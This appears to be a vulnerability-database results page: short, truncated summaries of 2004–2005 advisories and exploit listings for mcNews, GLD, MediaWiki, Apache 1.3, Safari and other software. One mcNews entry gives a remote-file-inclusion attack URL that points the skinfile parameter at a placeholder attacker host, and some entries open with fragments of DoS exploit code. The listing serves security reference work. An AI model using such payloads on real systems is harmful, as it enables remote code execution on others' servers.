CVE-2005-1385

Safari 1.3 allows remote attackers to cause a denial of service application crash via a long https URL that triggers a NULL pointer dereference...

CVE-2005-1100

Format string vulnerability in the ErrorLog function in cnf.c in Greylisting daemon GLD 1.3 and 1.4 allows remote attackers to execute arbitrary code via format string specifiers in data that is passed directly to syslog...

DEBIAN-CVE-2005-0534

Multiple cross-site scripting XSS vulnerabilities in MediaWiki 1.3.x before 1.3.11 and 1.4 beta before 1.4 rc1 allow remote attackers to inject arbitrary web script...

PHPMyVisites 1.3 - 'Set_Lang' File Inclusion

source: https://www.securityfocus.com/bid/13370/info phpMyVisites allows attackers to include arbitrary files. While it has been demonstrated that local files may be included through this vulnerability, there is an unconfirmed possibility of remote file inclusion. Exploitation could disclose loca...

CVE-2005-1099

CVE-2005-1099 affects the Greylisting Daemon (GLD) up to version 1.4. The vulnerability is described as multiple buffer overflows in the HandleChild function inside server.c when GLD is listening on a network interface, enabling remote arbitrary code execution. Public references document exploit ...

CVE-2005-0800

CVE-2005-0800 describes a PHP remote file inclusion vulnerability in mcNews 1.3 and earlier. The flaw exists in install.php where the l parameter can be modified to reference a URL on a remote server containing PHP code, allowing an attacker to execute arbitrary PHP. The issue is triggered throug...

McNews 1.x - 'install.php' Arbitrary File Inclusion

source: https://www.securityfocus.com/bid/12835/info mcNews is reportedly affected by a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input to the 'install.php' script. This issue is reported to affect mcNews versions 1.3 a...

CVE-2005-0720

CVE-2005-0720 documents a PHP remote file inclusion vulnerability in the admin/header.php component of mcNews 1.3 . An attacker can cause the application to execute arbitrary PHP code by altering the skinfile parameter to reference a URL on a remote server that contains the code. The description ...

PHP mcNews <= 1.3 arbitrary file inclusion (VXSfx)

-- == -- == -- == -- == -- == -- == -- == -- == -- == -- Name: PHP mcNews Version: 1.3 Homepage: http://www.phpforums.net/index.php?dir=dld Author: Filip Groszynski VXSfx Date: 7 March 2005 -- == -- == -- == -- == -- == -- == -- == -- == -- == -- Vulnerable code in mcNews/admin/header.php: ? //...

PHP mcNews <= 1.3 (skinfile) Remote File Include Vulnerability

No description provided by source. Example: if registerglobals=on and allowurlfopen=on: http://victim/dir/mcNews/admin/header.php?skinfile=http://hackerbox/ milw0rm.com 2005-03-07...

DEBIAN-CVE-2005-0535

Cross-site request forgery CSRF vulnerability in MediaWiki 1.3.x before 1.3.11 and 1.4 beta before 1.4 rc1 allows remote attackers to perform unauthorized actions as authenticated MediaWiki users...

CVE-2004-0940

Buffer overflow in the gettag function in modinclude for Apache 1.3.x to 1.3.32 allows local users who can create SSI documents to execute arbitrary code as the apache user via SSI XSSI documents that trigger a length calculation error...

[SA13330] IberAgents Clear Text User Credential Disclosure

TITLE: IberAgents Clear Text User Credential Disclosure SECUNIA ADVISORY ID: SA13330 VERIFY ADVISORY: http://secunia.com/advisories/13330/ CRITICAL: Less critical IMPACT: Exposure of sensitive information WHERE: Local system SOFTWARE: IberAgents 1.x http://secunia.com/product/4336/ DESCRIPTION: A...

Soldier of Fortune II <= 1.3 Server/Client Denial of Service Exploit

No description provided by source. / by Luigi Auriemma / include stdio.h include stdlib.h include string.h ifdef WIN32 include winsock.h / Header file used for manage errors in Windows It support socket and errno too this header replace the previous sockerrX.h / include string.h include errno.h...

Soldier of Fortune II <= 1.3 Server/Client Denial of Service Exploit

Exploit for unknown platform in category dos / poc ==================================================================== Soldier of Fortune II include include ifdef WIN32 include / Header file used for manage errors in Windows It support socket and errno too this header replace the previous...

GLSA-200411-03 : Apache 1.3: Buffer overflow vulnerability in mod_include

The remote host is affected by the vulnerability described in GLSA-200411-03 Apache 1.3: Buffer overflow vulnerability in modinclude A possible buffer overflow exists in the gettag function of modinclude.c. Impact : If Server Side Includes SSI are enabled, a local attacker may be able to run...

CVE-2004-0940

Buffer overflow in the gettag function in modinclude for Apache 1.3.x to 1.3.32 allows local users who can create SSI documents to execute arbitrary code as the apache user via SSI XSSI documents that trigger a length calculation error...

Apache 1.3.x mod_include - Local Buffer Overflow

// source: https://www.securityfocus.com/bid/11471/info The problem presents itself when the affected module attempts to parse modinclude-specific tag values. A failure to properly validate the lengths of user-supplied tag strings before copying them into finite buffers facilitates the overflow. ...

GLSA-200406-16 : Apache 1.3: Buffer overflow in mod_proxy

The remote host is affected by the vulnerability described in GLSA-200406-16 Apache 1.3: Buffer overflow in modproxy A bug in the proxyutil.c file may lead to a remote buffer overflow. To trigger the vulnerability an attacker would have to get modproxy to connect to a malicous server which return...

Solaris 7 (sparc) : 107885-09

CDE 1.3: dtprintinfo Patch. Date this patch was last updated by Sun : Dec/03/03 %NASLMINLEVEL 999999 @DEPRECATED@ This script has been deprecated as the associated patch is not currently a recommended security fix. Disabled on 2011/10/24. C Tenable Network Security, Inc. if ! definedfunc"bnrandom...